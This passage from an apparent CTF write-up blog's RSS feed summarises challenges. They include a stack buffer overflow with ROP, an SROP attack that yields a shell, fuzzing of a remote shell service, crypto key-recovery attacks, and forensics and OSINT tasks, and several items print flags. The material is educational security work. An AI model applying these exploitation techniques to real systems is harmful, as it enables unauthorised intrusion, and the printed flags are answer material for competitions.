(&lt;code&gt;enter waybill number:&lt;/code&gt;) plus &lt;code&gt;=== Sparrow Freight dispatch terminal ===&lt;/code&gt; are the strings around it.&lt;/p&gt;&#10;&lt;h2 id="the-bug"&gt;&#10; &lt;a href="#the-bug" class="md-heading-anchor"&gt;&#10; The bug&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The &lt;code&gt;dispatch&lt;/code&gt; binary, running with libc &lt;code&gt;2.39-0ubuntu8.9&lt;/code&gt;, reads a &amp;quot;waybill number&amp;quot; into a bounded but &lt;strong&gt;unsafe&lt;/strong&gt; buffer: my exploit uses 72 bytes &lt;code&gt;b&amp;quot;A&amp;quot;*72&lt;/code&gt; of pure padding, which is how I discovered the spot where an oversized waybill begins to smash saved registers locally. &lt;code&gt;elf.symbols&lt;/code&gt; references in the exploit (&lt;code&gt;pop_rdi&lt;/code&gt;, &lt;code&gt;main&lt;/code&gt;) resolve SymTab entries published by the binary, and the exploit pops return addresses directly off the stack on entry.&lt;/p&gt;</description></item><item><title>TCP Schrödinger</title><link>https://hotwater-online.xyz/writeups/xploit/tcp-schr-dinger/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/tcp-schr-dinger/</guid><description>&lt;p&gt;An incident-response-flavoured networking challenge: a TCP stream crosses the 32-bit sequence-number boundary, and an attacker injects ghost duplicate segments on the wrapped sequence numbers. Off-the-shelf reassembly produces contradictory streams — the task is to apply &lt;strong&gt;RFC 7323 PAWS&lt;/strong&gt; (Protect Against Wrapped Sequences) manually and get the one true payload.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;tcp_schrodinger_mirror.pcap&lt;/code&gt; — the capture&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;CASE_BRIEF.txt&lt;/code&gt;, &lt;code&gt;kernel_tcp_audit.log&lt;/code&gt;, &lt;code&gt;suricata_tcp_alerts.json&lt;/code&gt;, &lt;code&gt;tcptrace_analysis.txt&lt;/code&gt; — mostly decoy analyst noise&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve.py&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;PAWS compares the TSval option of each segment against the highest timestamp seen so far (&lt;code&gt;TS.Recent&lt;/code&gt;). A segment whose TSval is &lt;em&gt;older&lt;/em&gt; than &lt;code&gt;TS.Recent&lt;/code&gt; is stale — even if its sequence number looks plausible after the wrap — and must be dropped.&lt;/p&gt;</description></item><item><title>TCTF Crypto</title><link>https://hotwater-online.xyz/writeups/tctf/tctf-crypto/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/tctf/tctf-crypto/</guid><description>&lt;p&gt;This TCTF 2026 crypto service (&amp;quot;Feed the BOX&amp;quot;) encrypts every supplied 16-byte block with a custom AES variant under a fixed secret key, handshakes a checksum cryptogram (the key encrypted with itself), and demands the key back after up to 5,000 queries. I recovered the key with a differential fault–style collision attack that pre-precomputes the MixColumns masking, then finished off the remaining ambiguity with a tiny C brute force.&lt;/p&gt;&#10;&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The service implements a heavily modified AES:&lt;/p&gt;</description></item><item><title>TCTF Misc: Command Fuzzer</title><link>https://hotwater-online.xyz/writeups/tctf/tctf-misc-command-fuzzer/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/tctf/tctf-misc-command-fuzzer/</guid><description>&lt;p&gt;The TCTF 2026 challenge behind this folder presents a shell-like service on a remote host (TCP port 23, banner included) that ships with a &lt;em&gt;very&lt;/em&gt; restricted command vocabulary. Without any handout file naming the challenge, the practical first move is statistical: fuzz the command word. &lt;code&gt;solve.py&lt;/code&gt; does exactly that — it collects a candidate word list from the local system plus challenge-shaped keywords, slams the service with one connection per candidate, and flags any response that doesn't match the boilerplate rejections.&lt;/p&gt;</description></item><item><title>Total Recall</title><link>https://hotwater-online.xyz/writeups/sun/total-recall/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sun/total-recall/</guid><description>&lt;p&gt;Total Recall (SunshineCTF 2026) is a statically linked, stripped x86-64 binary with essentially no code to reuse — but it leaks its own stack address and offers two full-chunk reads, which is enough to build a ret2syscall through a SROP frame and get a shell. I solved it with a two-stage pwntools script.&lt;/p&gt;&#10;&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The binary is tiny. Its runtime does three useful things in sequence: push &lt;code&gt;rsp&lt;/code&gt; and &lt;code&gt;write()&lt;/code&gt; it out (an 8-byte stack leak), then &lt;code&gt;read()&lt;/code&gt; 24 bytes, then a second helper routine does &lt;code&gt;read(0, rsp-0x80, 0x400)&lt;/code&gt; before returning. Neither chunk has stack protection worth considering, and there are no libc gadgets — it is a pure &amp;quot;supply your own syscalls&amp;quot; target. The second read is the attack primitive: it reads &lt;code&gt;0x400&lt;/code&gt; bytes into a buffer whose return address sits at offset &lt;code&gt;0x80&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Truncated Oracle</title><link>https://hotwater-online.xyz/writeups/xploit/truncated-oracle/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/truncated-oracle/</guid><description>&lt;p&gt;A stream cipher built on an LCG, leaking only the &lt;strong&gt;high 16 bits of each 64-bit state&lt;/strong&gt;. The flag is XORed with the low bytes of the state sequence — so recovering the hidden low bits recovers the keystream.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;output.txt&lt;/code&gt; — &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;c&lt;/code&gt;, &lt;code&gt;bits = 64&lt;/code&gt;, &lt;code&gt;leak_bits = 16&lt;/code&gt;, a list of leaked high bits, ciphertext&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve.py&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;README.md&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Each leaked value is &lt;code&gt;hᵢ = ⌊sᵢ / 2^48⌋&lt;/code&gt;; the unknown part is &lt;code&gt;tᵢ = sᵢ mod 2^48&lt;/code&gt;. The recurrence&lt;/p&gt;</description></item><item><title>Two Keepers</title><link>https://hotwater-online.xyz/writeups/xploit/two-keepers/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/two-keepers/</guid><description>&lt;p&gt;A stego challenge built on visual secret sharing: two images (&lt;code&gt;share1.png&lt;/code&gt;, &lt;code&gt;share2.png&lt;/code&gt;) from a lighthouse keeper's apprentices. Individually they look like noise; XOR them back together and the instructions appear.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;share1.png&lt;/code&gt;, &lt;code&gt;share2.png&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;README (2).md&lt;/code&gt; — brief&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve.py&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The two shares are the same canvas with complementary random noise: for each pixel, one share carries the signal and the other the mask, so XOR cancels the noise and leaves the message. One share is mirrored horizontally before combining — the classic &amp;quot;look at them side by side&amp;quot; misdirection.&lt;/p&gt;</description></item><item><title>Weighty Secrets</title><link>https://hotwater-online.xyz/writeups/xploit/weighty-secrets/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/weighty-secrets/</guid><description>&lt;p&gt;A hardened Merkle-Hellman knapsack: 96 public weights generated as &lt;code&gt;a_i = r·b_i mod q&lt;/code&gt; from a &lt;em&gt;tight&lt;/em&gt; superincreasing sequence, at density ≈ 0.91 — deliberately just under the 0.9408 CJLOS bound. A 96-bit secret is the subset-sum solution; &lt;code&gt;SHA256(secret)&lt;/code&gt; is the AES-256-GCM key for the flag.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;public_instance.json&lt;/code&gt; — &lt;code&gt;n&lt;/code&gt;, &lt;code&gt;public_weights&lt;/code&gt;, &lt;code&gt;ciphertext_sum&lt;/code&gt;, AES nonce/ciphertext&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;README.md&lt;/code&gt;, &lt;code&gt;solve.py&lt;/code&gt;, &lt;code&gt;lll.py&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The subset-sum is &lt;code&gt;c = Σ xᵢ·aᵢ&lt;/code&gt; with &lt;code&gt;xᵢ ∈ {0,1}&lt;/code&gt;. The naive lattice&lt;/p&gt;</description></item><item><title>Frost-ledger</title><link>https://hotwater-online.xyz/writeups/isfcr/frost-ledger/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/frost-ledger/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics / File Format Recovery&lt;br&gt;&#10;&lt;strong&gt;Flag format:&lt;/strong&gt; &lt;code&gt;isfcr{...}&lt;/code&gt;&lt;br&gt;&#10;&lt;strong&gt;Target record:&lt;/strong&gt; &lt;code&gt;bay/07/thaw-authority&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="challenge-description"&gt;&#10; &lt;a href="#challenge-description" class="md-heading-anchor"&gt;&#10; Challenge Description&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;Bay 07's controller cabinet went down with the vault and took the vendor's reader with it. What survived is the registry volume, the documentation on the controller image, and fvrctl. Recover the authority token from the registry record &lt;code&gt;bay/07/thaw-authority&lt;/code&gt;.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{stale_cow_67c1_root_fc8fe97f_backwards_heap}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="1-inspect-the-archive"&gt;&#10; &lt;a href="#1-inspect-the-archive" class="md-heading-anchor"&gt;&#10; 1. Inspect the archive&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="bash"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;bash&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tar -xzf frost-ledger.tar.gz&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat README.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat usr/share/doc/fvregd/RELEASE-NOTES.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat usr/share/doc/fvregd/ONDISK-NOTES.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat include/fvr_format.h&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat var/log/fvregd.log&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The archive includes a &lt;code&gt;registry.fvr&lt;/code&gt; volume, &lt;code&gt;fvrctl&lt;/code&gt;, an SDK header, documentation, and daemon logs. The daemon uses &lt;strong&gt;fvregd 1.4.2 / on-disk format v1&lt;/strong&gt;. In v1, the 16-byte cell descriptor adds a &lt;code&gt;flags&lt;/code&gt; field and, critically, the key/value offsets use a different convention from the v0 notes. The released &lt;code&gt;fvrctl&lt;/code&gt; no longer provides &lt;code&gt;get&lt;/code&gt; or &lt;code&gt;walk&lt;/code&gt;, so the registry must be parsed offline.&lt;/p&gt;</description></item><item><title>Ghost Spooler — Forensics</title><link>https://hotwater-online.xyz/writeups/isfcr/ghost-in-the-spooler/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/ghost-in-the-spooler/</guid><description>&lt;h2 id="challenge-description"&gt;&#10; &lt;a href="#challenge-description" class="md-heading-anchor"&gt;&#10; Challenge Description&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;A workstation got imaged late one night and three leftovers from its print spooler made it out before the drive was wiped. A scanner in the evidence room had a scan of what looks like the same page sitting on it. Prove the document was printed from that exact machine, then build the flag.&lt;/p&gt;&#10;&lt;p&gt;The flag is not sitting in any file. You build it from three things you have to recover: the username that owned the print job (lowercased), the printer's 7 digit serial number, and the UTC timestamp of the print, formatted &lt;code&gt;YYYY-MM-DDTHH:MM:SSZ&lt;/code&gt; (seconds are always &lt;code&gt;00&lt;/code&gt;). The flag is then &lt;code&gt;isfcr{&lt;/code&gt; followed by the first 16 hex characters of &lt;code&gt;SHA-256(username + &amp;quot;|&amp;quot; + serial + &amp;quot;|&amp;quot; + timestamp)&lt;/code&gt; followed by &lt;code&gt;}&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;You are given &lt;code&gt;FP02CF4.SHD&lt;/code&gt;, &lt;code&gt;FP02CF4.SPL&lt;/code&gt;, and &lt;code&gt;scan.png&lt;/code&gt;. Everything you need to recover those three values is in those files.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;</description></item><item><title>Half-Truths</title><link>https://hotwater-online.xyz/writeups/isfcr/half-truths/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/half-truths/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Cryptography&lt;br&gt;&#10;&lt;strong&gt;Flag format:&lt;/strong&gt; &lt;code&gt;isfcr{...}&lt;/code&gt;&lt;br&gt;&#10;&lt;strong&gt;Challenge:&lt;/strong&gt; “327 of my 512 friends lied to me. Reconstruct the secret anyway.”&lt;/p&gt;&#10;&lt;h2 id="challenge-files"&gt;&#10; &lt;a href="#challenge-files" class="md-heading-anchor"&gt;&#10; Challenge files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;chall (1).py&lt;/code&gt; — the challenge generator, including the polynomial construction and encryption scheme.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;output (1).json&lt;/code&gt; — 512 shuffled shares, finite-field parameters, and the AES-GCM ciphertext, nonce, and tag.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="1-understanding-the-scheme"&gt;&#10; &lt;a href="#1-understanding-the-scheme" class="md-heading-anchor"&gt;&#10; 1. Understanding the scheme&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The generator samples a polynomial of degree 39 over the prime field&lt;/p&gt;&#10;\[&#10;\mathbb F_p,\qquad p=2^{31}-1=2147483647.&#10;\]&lt;p&gt;Its 40 coefficients are stored in &lt;strong&gt;low-to-high order&lt;/strong&gt;:&lt;/p&gt;</description></item><item><title>Insanity Check 3 — CRYOVAULT 2026</title><link>https://hotwater-online.xyz/writeups/isfcr/insanity-check-3/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/insanity-check-3/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Sanity / Steganography / Unicode&lt;br&gt;&#10;&lt;strong&gt;Flag format:&lt;/strong&gt; &lt;code&gt;isfcr{...}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="challenge-description"&gt;&#10; &lt;a href="#challenge-description" class="md-heading-anchor"&gt;&#10; Challenge Description&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The challenge pointed participants toward the CRYOVAULT 2026 competition rules. The clue was in &lt;strong&gt;Rule 2 — Flag Format&lt;/strong&gt;, which appeared to show an ordinary example of the flag syntax.&lt;/p&gt;&#10;&lt;h2 id="initial-observation"&gt;&#10; &lt;a href="#initial-observation" class="md-heading-anchor"&gt;&#10; Initial Observation&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;On inspection, the text of Rule 2 contained numerous invisible Unicode characters mixed with the visible &lt;code&gt;isfcr{...}&lt;/code&gt; example. The visible example was not the hidden payload. Copying the original text preserved those characters, even though they were not displayed as normal letters.&lt;/p&gt;</description></item><item><title>last packet — Forensics</title><link>https://hotwater-online.xyz/writeups/isfcr/last-packet/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/last-packet/</guid><description>&lt;h2 id="challenge-overview"&gt;&#10; &lt;a href="#challenge-overview" class="md-heading-anchor"&gt;&#10; Challenge Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics / Network Analysis&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;File Provided:&lt;/strong&gt; &lt;code&gt;challenge2.pcap&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{l33t_c0d3_tw0_sum_f0und}&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-initial-inspection"&gt;&#10; &lt;a href="#1-initial-inspection" class="md-heading-anchor"&gt;&#10; 1. Initial Inspection&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;We are provided with a network packet capture file &lt;code&gt;challenge2.pcap&lt;/code&gt;. Using &lt;code&gt;tshark&lt;/code&gt;, we inspect the HTTP requests and responses contained within the capture:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="bash"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;bash&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tshark -r challenge2.pcap -Y &lt;span class="s2"&gt;&amp;#34;http&amp;#34;&lt;/span&gt; -T fields &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -e frame.number -e ip.src -e ip.dst -e http.request.method -e http.request.uri -e http.response.code -e http.file_data&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Among standard browsing and DNS queries, we identify activity against internal microservices:&lt;/p&gt;</description></item><item><title>One pound fish</title><link>https://hotwater-online.xyz/writeups/isfcr/one-pound-fish/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/one-pound-fish/</guid><description>&lt;h2 id="challenge-overview"&gt;&#10; &lt;a href="#challenge-overview" class="md-heading-anchor"&gt;&#10; Challenge Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The challenge required identifying a location from an image and submitting the associated market name as the flag.&lt;/p&gt;&#10;&lt;h2 id="solution"&gt;&#10; &lt;a href="#solution" class="md-heading-anchor"&gt;&#10; Solution&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Perform a reverse image search on the challenge image.&lt;/li&gt;&#10;&lt;li&gt;Find an identical image in the search results, linked to an article about a building.&lt;/li&gt;&#10;&lt;li&gt;Read the article and look for nearby landmarks.&lt;/li&gt;&#10;&lt;li&gt;The article mentions &lt;strong&gt;Russell Market&lt;/strong&gt; as a market near the building.&lt;/li&gt;&#10;&lt;li&gt;Convert the market name to lowercase and replace the space with an underscore to form the flag.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Iscfr{russell_market}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="conclusion"&gt;&#10; &lt;a href="#conclusion" class="md-heading-anchor"&gt;&#10; Conclusion&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The key was using reverse image search to locate the original article, then extracting the nearby market name from its description.&lt;/p&gt;</description></item><item><title>Ouroboros — Reverse Engineering</title><link>https://hotwater-online.xyz/writeups/isfcr/ouroboros/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/ouroboros/</guid><description>&lt;p&gt;&lt;strong&gt;Challenge:&lt;/strong&gt; ouroboros&lt;br&gt;&#10;&lt;strong&gt;Author:&lt;/strong&gt; NotKnox&lt;br&gt;&#10;&lt;strong&gt;Points:&lt;/strong&gt; 50&lt;br&gt;&#10;&lt;strong&gt;Category:&lt;/strong&gt; Reverse Engineering&lt;br&gt;&#10;&lt;strong&gt;Artifact:&lt;/strong&gt; &lt;code&gt;chall&lt;/code&gt; (stripped Linux x86-64 ELF)&lt;br&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{c0d3_th4t_3ats_1ts_t41l!!}&lt;/code&gt;&lt;br&gt;&#10;&lt;strong&gt;Status:&lt;/strong&gt; Verified locally&lt;/p&gt;&#10;&lt;h2 id="challenge-description"&gt;&#10; &lt;a href="#challenge-description" class="md-heading-anchor"&gt;&#10; Challenge Description&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;Hand it 32 bytes. It will tell you &lt;code&gt;nope.&lt;/code&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&lt;h2 id="challenge-overview"&gt;&#10; &lt;a href="#challenge-overview" class="md-heading-anchor"&gt;&#10; Challenge Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;We are given a single executable named &lt;code&gt;chall&lt;/code&gt; and must find the 32-byte input that causes it to accept our answer. Unlike a simple &lt;code&gt;strcmp&lt;/code&gt; checker, this program transforms the input before comparing it with embedded reference bytes.&lt;/p&gt;</description></item><item><title>Phantom Mesh</title><link>https://hotwater-online.xyz/writeups/isfcr/phantom-mesh/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/phantom-mesh/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Wireless forensics / cryptography / power side-channel analysis&lt;br&gt;&#10;&lt;strong&gt;Flag format:&lt;/strong&gt; &lt;code&gt;isfcr{...}&lt;/code&gt;&lt;br&gt;&#10;&lt;strong&gt;Status:&lt;/strong&gt; Solved; authenticated cryptographic verification passed.&lt;/p&gt;&#10;&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{ph4nt0m_m3sh_h4rm0n1cs_un14sk_th3_tc_l1nk_k3y}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="challenge-objective-and-evidence"&gt;&#10; &lt;a href="#challenge-objective-and-evidence" class="md-heading-anchor"&gt;&#10; Challenge objective and evidence&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;An unrecognized device was observed on a Lumeta smart-lighting mesh, sending a periodic diagnostic report. The challenge supplies:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;mesh.pcap&lt;/code&gt; — IEEE 802.15.4 frames containing vendor-specific Lumeta Mesh Protocol (LMP) messages.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;traces/iq.npz&lt;/code&gt; — 2,500 trigger-aligned I/Q records, each 2,500 complex samples.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;traces/nonces.csv&lt;/code&gt; — the public 16-byte &lt;code&gt;KEY_CONFIRM&lt;/code&gt; nonce corresponding to each trace.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;docs/LMP-protocol.md&lt;/code&gt; — LMP framing, key hierarchy, AES-CCM* nonce/AAD specifications, and message layouts.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;docs/sdr-capture.md&lt;/code&gt; — capture setup and the vendor's note about instability in the coordinator's power-amplifier bias feed.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;The target diagnostic report is encrypted under a per-mesh Network Key (NWK Key). The NWK Key is distributed in a &lt;code&gt;TRANSPORT_KEY&lt;/code&gt; command encrypted under a fleet-wide Trust Center (TC) Link Key. That TC Link Key is not directly present in the files, so we first recover it through power analysis of the coordinator's transmissions.&lt;/p&gt;</description></item><item><title>PHANTOM-15: The Sensor That Transmitted Nothing</title><link>https://hotwater-online.xyz/writeups/isfcr/phantom-15/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/phantom-15/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; IoT / Forensics / Cryptography&lt;br&gt;&#10;&lt;strong&gt;Flag format:&lt;/strong&gt; &lt;code&gt;isfcr{...}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="challenge-summary"&gt;&#10; &lt;a href="#challenge-summary" class="md-heading-anchor"&gt;&#10; Challenge summary&#10; 